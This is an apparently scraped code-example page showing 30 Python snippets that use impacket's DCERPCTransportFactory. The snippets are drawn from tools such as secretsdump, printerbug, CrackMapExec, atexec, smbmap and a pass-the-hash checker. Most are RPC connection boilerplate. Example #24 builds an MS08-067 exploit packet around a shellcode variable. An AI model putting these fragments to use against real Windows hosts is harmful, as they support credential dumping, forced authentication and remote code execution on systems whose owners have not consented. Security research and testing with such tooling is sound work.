Python impacket.dcerpc.v5.transport.DCERPCTransportFactory() Examples
The following are 30
code examples of impacket.dcerpc.v5.transport.DCERPCTransportFactory().
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example.
You may also want to check out all available functions/classes of the module
impacket.dcerpc.v5.transport
, or try the search function
.
Example #1
Source File: secretsdump.py From cracke-dit with MIT License | 6 votes |
def getMachineNameAndDomain(self): if self.__smbConnection.getServerName() == '': # No serverName.. this is either because we're doing Kerberos # or not receiving that data during the login process. # Let's try getting it through RPC rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]') rpc.set_smb_connection(self.__smbConnection) dce = rpc.get_dce_rpc() dce.connect() dce.bind(wkst.MSRPC_UUID_WKST) resp = wkst.hNetrWkstaGetInfo(dce, 100) dce.disconnect() return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100'][ 'wki100_langroup'][:-1] else: return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain()
Example #2
Source File: printerbug.py From krbrelayx with MIT License | 6 votes |
def dump(self, remote_host): logging.info('Attempting to trigger authentication via rprn RPC at %s', remote_host) stringbinding = self.KNOWN_PROTOCOLS[self.__port]['bindstr'] % remote_host # logging.info('StringBinding %s'%stringbinding) rpctransport = transport.DCERPCTransportFactory(stringbinding) rpctransport.set_dport(self.__port) if self.KNOWN_PROTOCOLS[self.__port]['set_host']: rpctransport.setRemoteHost(remote_host) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) try: self.lookup(rpctransport, remote_host) except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.critical(str(e)) raise
Example #3
Source File: test_even6.py From cracke-dit with MIT License | 6 votes |
def connect(self, version): rpctransport = transport.DCERPCTransportFactory(self.stringBinding) if len(self.hashes) > 0: lmhash, nthash = self.hashes.split(':') else: lmhash = '' nthash = '' if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username, self.password, self.domain, lmhash, nthash) dce = rpctransport.get_dce_rpc() dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.connect() if version == 1: dce.bind(even6.MSRPC_UUID_EVEN6, transfer_syntax=self.ts) else: dce.bind(even6.MSRPC_UUID_EVEN6, transfer_syntax=self.ts) return dce, rpctransport
Example #4
Source File: enumerid.py From enumerid with BSD 3-Clause "New" or "Revised" License | 6 votes |
def get_sid(self, name): self.log.info('[*] Looking up SID for {0}..'.format(name)) stringbinding = r'ncacn_np:{0}[\pipe\lsarpc]'.format(self.target) logging.debug('StringBinding {0}'.format(stringbinding)) rpctransport = transport.DCERPCTransportFactory(stringbinding) rpctransport.set_dport(self.port) rpctransport.setRemoteHost(self.target) if hasattr(rpctransport, 'set_credentials'): rpctransport.set_credentials(self.username, self.password, self.domain) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(lsat.MSRPC_UUID_LSAT) resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsad.POLICY_LOOKUP_NAMES) policyHandle = resp['PolicyHandle'] resp = lsat.hLsarLookupNames(dce, policyHandle, (name,)) self.rid = resp['TranslatedSids']['Sids'][0]['RelativeId'] dce.disconnect() return
Example #5
Source File: smb.py From CrackMapExec with BSD 2-Clause "Simplified" License | 6 votes |
def get_os_arch(self): try: stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host) transport = DCERPCTransportFactory(stringBinding) transport.set_connect_timeout(5) dce = transport.get_dce_rpc() if self.args.kerberos: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.connect() try: dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')) except (DCERPCException, e): if str(e).find('syntaxes_not_supported') >= 0: dce.disconnect() return 32 else: dce.disconnect() return 64 except Exception as e: logging.debug('Error retrieving os arch of {}: {}'.format(self.host, str(e))) return 0
Example #6
Source File: test_drsuapi.py From CVE-2017-7494 with GNU General Public License v3.0 | 6 votes |
def connect2(self): rpctransport = transport.DCERPCTransportFactory(self.stringBinding ) if len(self.hashes) > 0: lmhash, nthash = self.hashes.split(':') else: lmhash = '' nthash = '' if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash) dce = rpctransport.get_dce_rpc() dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) #dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.connect() dce.bind(drsuapi.MSRPC_UUID_DRSUAPI, transfer_syntax = self.ts) return dce, rpctransport
Example #7
Source File: test_rpcrt.py From cracke-dit with MIT License | 6 votes |
def connectDCE(self, username, password, domain, lm='', nt='', aesKey='', TGT=None, TGS=None, tfragment=0, dceFragment=0, auth_type=RPC_C_AUTHN_WINNT, auth_level=RPC_C_AUTHN_LEVEL_NONE, dceAuth=True, doKerberos=False, bind=epm.MSRPC_UUID_PORTMAP): rpctransport = transport.DCERPCTransportFactory(self.stringBinding) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(username, password, domain, lm, nt, aesKey, TGT, TGS) rpctransport.set_kerberos(doKerberos, kdcHost=self.machine) rpctransport.set_max_fragment_size(tfragment) rpctransport.setRemoteName(self.serverName) rpctransport.setRemoteHost(self.machine) dce = rpctransport.get_dce_rpc() dce.set_max_fragment_size(dceFragment) if dceAuth is True: dce.set_credentials(*(rpctransport.get_credentials())) dce.connect() dce.set_auth_type(auth_type) dce.set_auth_level(auth_level) dce.bind(bind) return dce
Example #8
Source File: test_scmr.py From CVE-2017-7494 with GNU General Public License v3.0 | 6 votes |
def connect(self): rpctransport = transport.DCERPCTransportFactory(self.stringBinding) if len(self.hashes) > 0: lmhash, nthash = self.hashes.split(':') else: lmhash = '' nthash = '' if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash) dce = rpctransport.get_dce_rpc() #dce.set_max_fragment_size(32) dce.connect() if self.__class__.__name__ == 'TCPTransport': dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) dce.bind(scmr.MSRPC_UUID_SCMR) #rpc = scmr.DCERPCSvcCtl(dce) lpMachineName = 'DUMMY\x00' lpDatabaseName = 'ServicesActive\x00' desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS | scmr.SC_MANAGER_ENUMERATE_SERVICE resp = scmr.hROpenSCManagerW(dce,lpMachineName, lpDatabaseName, desiredAccess) scHandle = resp['lpScHandle'] return dce, rpctransport, scHandle
Example #9
Source File: test_tsch.py From cracke-dit with MIT License | 6 votes |
def connect(self, stringBinding, bindUUID): rpctransport = transport.DCERPCTransportFactory(stringBinding ) if len(self.hashes) > 0: lmhash, nthash = self.hashes.split(':') else: lmhash = '' nthash = '' if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash) dce = rpctransport.get_dce_rpc() dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) dce.connect() dce.bind(bindUUID, transfer_syntax = self.ts) return dce, rpctransport
Example #10
Source File: dump.py From Exchange2domain with MIT License | 6 votes |
def getMachineNameAndDomain(self): if self.__smbConnection.getServerName() == '': # No serverName.. this is either because we're doing Kerberos # or not receiving that data during the login process. # Let's try getting it through RPC rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]') rpc.set_smb_connection(self.__smbConnection) dce = rpc.get_dce_rpc() dce.connect() dce.bind(wkst.MSRPC_UUID_WKST) resp = wkst.hNetrWkstaGetInfo(dce, 100) dce.disconnect() return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100'][ 'wki100_langroup'][:-1] else: return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain()
Example #11
Source File: test_rrp.py From cracke-dit with MIT License | 6 votes |
def connect(self): rpctransport = transport.DCERPCTransportFactory(self.stringBinding) if len(self.hashes) > 0: lmhash, nthash = self.hashes.split(':') else: lmhash = '' nthash = '' if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash) dce = rpctransport.get_dce_rpc() #dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) dce.connect() dce.bind(rrp.MSRPC_UUID_RRP, transfer_syntax = self.ts) resp = rrp.hOpenLocalMachine(dce, MAXIMUM_ALLOWED | rrp.KEY_WOW64_32KEY | rrp.KEY_ENUMERATE_SUB_KEYS) return dce, rpctransport, resp['phKey']
Example #12
Source File: test_rrp.py From CVE-2017-7494 with GNU General Public License v3.0 | 6 votes |
def connect(self): rpctransport = transport.DCERPCTransportFactory(self.stringBinding) if len(self.hashes) > 0: lmhash, nthash = self.hashes.split(':') else: lmhash = '' nthash = '' if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash) dce = rpctransport.get_dce_rpc() #dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) dce.connect() dce.bind(rrp.MSRPC_UUID_RRP, transfer_syntax = self.ts) resp = rrp.hOpenLocalMachine(dce, MAXIMUM_ALLOWED | rrp.KEY_WOW64_32KEY | rrp.KEY_ENUMERATE_SUB_KEYS) return dce, rpctransport, resp['phKey']
Example #13
Source File: test_tsch.py From CVE-2017-7494 with GNU General Public License v3.0 | 6 votes |
def connect(self, stringBinding, bindUUID): rpctransport = transport.DCERPCTransportFactory(stringBinding ) if len(self.hashes) > 0: lmhash, nthash = self.hashes.split(':') else: lmhash = '' nthash = '' if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash) dce = rpctransport.get_dce_rpc() dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) dce.connect() dce.bind(bindUUID, transfer_syntax = self.ts) return dce, rpctransport
Example #14
Source File: test_dhcpm.py From CVE-2017-7494 with GNU General Public License v3.0 | 6 votes |
def connect(self, version): rpctransport = transport.DCERPCTransportFactory(self.stringBinding) if len(self.hashes) > 0: lmhash, nthash = self.hashes.split(':') else: lmhash = '' nthash = '' if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash) dce = rpctransport.get_dce_rpc() dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.connect() if version == 1: dce.bind(dhcpm.MSRPC_UUID_DHCPSRV, transfer_syntax = self.ts) else: dce.bind(dhcpm.MSRPC_UUID_DHCPSRV2, transfer_syntax = self.ts) return dce, rpctransport
Example #15
Source File: test_lsad.py From cracke-dit with MIT License | 6 votes |
def connect(self): rpctransport = transport.DCERPCTransportFactory(self.stringBinding) if len(self.hashes) > 0: lmhash, nthash = self.hashes.split(':') else: lmhash = '' nthash = '' if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(lsad.MSRPC_UUID_LSAD, transfer_syntax = self.ts) resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsad.POLICY_CREATE_SECRET | DELETE | lsad.POLICY_VIEW_LOCAL_INFORMATION) return dce, rpctransport, resp['PolicyHandle']
Example #16
Source File: atexec.py From Slackor with GNU General Public License v3.0 | 6 votes |
def play(self, addr): stringbinding = r'ncacn_np:%s[\pipe\atsvc]' % addr rpctransport = transport.DCERPCTransportFactory(stringbinding) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) try: self.doStuff(rpctransport) except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(e) if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >=0: logging.info('When STATUS_OBJECT_NAME_NOT_FOUND is received, try running again. It might work')
Example #17
Source File: Arch.py From spraykatz with MIT License | 6 votes |
def get_os_arch(target): try: stringBinding = r'ncacn_ip_tcp:{}[135]'.format(target) transport = DCERPCTransportFactory(stringBinding) transport.set_connect_timeout(5) dce = transport.get_dce_rpc() dce.connect() try: dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')) except DCERPCException as e: if str(e).find('syntaxes_not_supported') >= 0: return 32 else: pass else: return 64 dce.disconnect() except Exception as e: logging.warning('%sErr with get_os_arch for %s: %s' % (warningRed, target, str(e)))
Example #18
Source File: test_scmr.py From cracke-dit with MIT License | 6 votes |
def connect(self): rpctransport = transport.DCERPCTransportFactory(self.stringBinding) if len(self.hashes) > 0: lmhash, nthash = self.hashes.split(':') else: lmhash = '' nthash = '' if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash) dce = rpctransport.get_dce_rpc() #dce.set_max_fragment_size(32) dce.connect() if self.__class__.__name__ == 'TCPTransport': dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) dce.bind(scmr.MSRPC_UUID_SCMR) #rpc = scmr.DCERPCSvcCtl(dce) lpMachineName = 'DUMMY\x00' lpDatabaseName = 'ServicesActive\x00' desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS | scmr.SC_MANAGER_ENUMERATE_SERVICE resp = scmr.hROpenSCManagerW(dce,lpMachineName, lpDatabaseName, desiredAccess) scHandle = resp['lpScHandle'] return dce, rpctransport, scHandle
Example #19
Source File: lookupsid.py From Slackor with GNU General Public License v3.0 | 6 votes |
def dump(self, remoteName, remoteHost): logging.info('Brute forcing SIDs at %s' % remoteName) stringbinding = self.KNOWN_PROTOCOLS[self.__port]['bindstr'] % remoteName logging.info('StringBinding %s'%stringbinding) rpctransport = transport.DCERPCTransportFactory(stringbinding) rpctransport.set_dport(self.__port) if self.KNOWN_PROTOCOLS[self.__port]['set_host']: rpctransport.setRemoteHost(remoteHost) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) try: self.__bruteForce(rpctransport, self.__maxRid) except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.critical(str(e)) raise
Example #20
Source File: secretsdump.py From CVE-2017-7494 with GNU General Public License v3.0 | 6 votes |
def getMachineNameAndDomain(self): if self.__smbConnection.getServerName() == '': # No serverName.. this is either because we're doing Kerberos # or not receiving that data during the login process. # Let's try getting it through RPC rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]') rpc.set_smb_connection(self.__smbConnection) dce = rpc.get_dce_rpc() dce.connect() dce.bind(wkst.MSRPC_UUID_WKST) resp = wkst.hNetrWkstaGetInfo(dce, 100) dce.disconnect() return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100'][ 'wki100_langroup'][:-1] else: return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain()
Example #21
Source File: test_drsuapi.py From cracke-dit with MIT License | 6 votes |
def connect2(self): rpctransport = transport.DCERPCTransportFactory(self.stringBinding ) if len(self.hashes) > 0: lmhash, nthash = self.hashes.split(':') else: lmhash = '' nthash = '' if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash) dce = rpctransport.get_dce_rpc() dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) #dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.connect() dce.bind(drsuapi.MSRPC_UUID_DRSUAPI, transfer_syntax = self.ts) return dce, rpctransport
Example #22
Source File: dump.py From Exchange2domain with MIT License | 5 votes |
def __connectWinReg(self): rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg) rpc.set_smb_connection(self.__smbConnection) self.__rrp = rpc.get_dce_rpc() self.__rrp.connect() self.__rrp.bind(rrp.MSRPC_UUID_RRP)
Example #23
Source File: dump.py From Exchange2domain with MIT License | 5 votes |
def __restore(self): # First of all stop the service if it was originally stopped if self.__shouldStop is True: LOG.info('Stopping service %s' % self.__serviceName) scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP) if self.__disabled is True: LOG.info('Restoring the disabled state for service %s' % self.__serviceName) scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4) if self.__serviceDeleted is False: # Check again the service we created does not exist, starting a new connection # Why?.. Hitting CTRL+C might break the whole existing DCE connection try: rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost()) if hasattr(rpc, 'set_credentials'): # This method exists only for selected protocol sequences. rpc.set_credentials(*self.__smbConnection.getCredentials()) rpc.set_kerberos(self.__doKerberos, self.__kdcHost) self.__scmr = rpc.get_dce_rpc() self.__scmr.connect() self.__scmr.bind(scmr.MSRPC_UUID_SCMR) # Open SC Manager ans = scmr.hROpenSCManagerW(self.__scmr) self.__scManagerHandle = ans['lpScHandle'] # Now let's open the service resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName) service = resp['lpServiceHandle'] scmr.hRDeleteService(self.__scmr, service) scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP) scmr.hRCloseServiceHandle(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle) scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle) rpc.disconnect() except Exception, e: # If service is stopped it'll trigger an exception # If service does not exist it'll trigger an exception # So. we just wanna be sure we delete it, no need to # show this exception message pass
Example #24
Source File: ms08.py From pina-colada with MIT License | 5 votes |
def __DCEPacket(self): print '[-]Initiating connection' self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target) self.__trans.connect() print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target self.__dce = self.__trans.DCERPC_class(self.__trans) self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0'))) # Constructing Malicious Packet self.__stub = '\x01\x00\x00\x00' self.__stub += '\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00' self.__stub += shellcode self.__stub += '\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub += '\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub += '\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub += '\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub += '\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub += '\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub += '\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub += '\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub += '\x00\x00\x00\x00' self.__stub += '\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00' self.__stub += self.payload self.__stub += '\x00\x00\x00\x00' self.__stub += '\x02\x00\x00\x00\x02\x00\x00\x00' self.__stub += '\x00\x00\x00\x00\x02\x00\x00\x00' self.__stub += '\x5c\x00\x00\x00\x01\x00\x00\x00' self.__stub += '\x01\x00\x00\x00' return
Example #25
Source File: dump.py From Exchange2domain with MIT License | 5 votes |
def connectSamr(self, domain): rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr) rpc.set_smb_connection(self.__smbConnection) self.__samr = rpc.get_dce_rpc() self.__samr.connect() self.__samr.bind(samr.MSRPC_UUID_SAMR) resp = samr.hSamrConnect(self.__samr) serverHandle = resp['ServerHandle'] resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain) resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId']) self.__domainHandle = resp['DomainHandle'] self.__domainName = domain
Example #26
Source File: requester.py From spraykatz with MIT License | 5 votes |
def _create_rpc_connection(self, pipe): # Here we build the DCE/RPC connection self._pipe = pipe binding_strings = dict() binding_strings['srvsvc'] = srvs.MSRPC_UUID_SRVS binding_strings['wkssvc'] = wkst.MSRPC_UUID_WKST binding_strings['samr'] = samr.MSRPC_UUID_SAMR binding_strings['svcctl'] = scmr.MSRPC_UUID_SCMR binding_strings['drsuapi'] = drsuapi.MSRPC_UUID_DRSUAPI # TODO: try to fallback to TCP/139 if tcp/445 is closed if self._pipe == r'\drsuapi': string_binding = epm.hept_map(self._target_computer, drsuapi.MSRPC_UUID_DRSUAPI, protocol='ncacn_ip_tcp') rpctransport = transport.DCERPCTransportFactory(string_binding) rpctransport.set_credentials(username=self._user, password=self._password, domain=self._domain, lmhash=self._lmhash, nthash=self._nthash) else: rpctransport = transport.SMBTransport(self._target_computer, 445, self._pipe, username=self._user, password=self._password, domain=self._domain, lmhash=self._lmhash, nthash=self._nthash) rpctransport.set_connect_timeout(10) dce = rpctransport.get_dce_rpc() if self._pipe == r'\drsuapi': dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) try: dce.connect() except socket.error: self._rpc_connection = None else: dce.bind(binding_strings[self._pipe[1:]]) self._rpc_connection = dce
Example #27
Source File: test_epm.py From cracke-dit with MIT License | 5 votes |
def connect(self): rpctransport = transport.DCERPCTransportFactory(self.stringBinding) if len(self.hashes) > 0: lmhash, nthash = self.hashes.split(':') else: lmhash = '' nthash = '' if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(epm.MSRPC_UUID_PORTMAP, transfer_syntax = self.ts) return dce, rpctransport
Example #28
Source File: smbmap.py From smbmap with GNU General Public License v3.0 | 5 votes |
def run(self, remoteName, remoteHost): stringbinding = 'ncacn_np:%s[\pipe\svcctl]' % remoteName logging.debug('StringBinding %s'%stringbinding) rpctransport = transport.DCERPCTransportFactory(stringbinding) rpctransport.set_dport(self.__port) if hasattr(rpctransport,'setRemoteHost'): rpctransport.setRemoteHost(remoteHost) else: rpctransport.__dstip = remoteHost if hasattr(rpctransport,'preferred_dialect'): rpctransport.preferred_dialect(SMB_DIALECT) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) #rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) self.shell = None try: if self.__mode == 'SERVER': serverThread = SMBServer() serverThread.daemon = True serverThread.start() self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName) self.shell.send_data(self.command) if self.__mode == 'SERVER': serverThread.stop() except (Exception, KeyboardInterrupt) as e: print('[!] Something went wrong:', str(e))
Example #29
Source File: dump.py From Exchange2domain with MIT License | 5 votes |
def __connectSvcCtl(self): rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl) rpc.set_smb_connection(self.__smbConnection) self.__scmr = rpc.get_dce_rpc() self.__scmr.connect() self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
Example #30
Source File: pth-carpet.py From Offensive-Security-Certified-Professional with MIT License | 5 votes |
def login(host, username, hash, port): stringbinding = 'ncacn_np:%s[\pipe\svcctl]' % host rpctransport = transport.DCERPCTransportFactory(stringbinding) rpctransport.set_dport(port) lmhash, nthash = hash.split(':') rpctransport.set_credentials(username, '', '', lmhash, nthash, None) dce = rpctransport.get_dce_rpc() try: dce.connect() return check_rce(host, username, hash, port) except Exception, e: raise e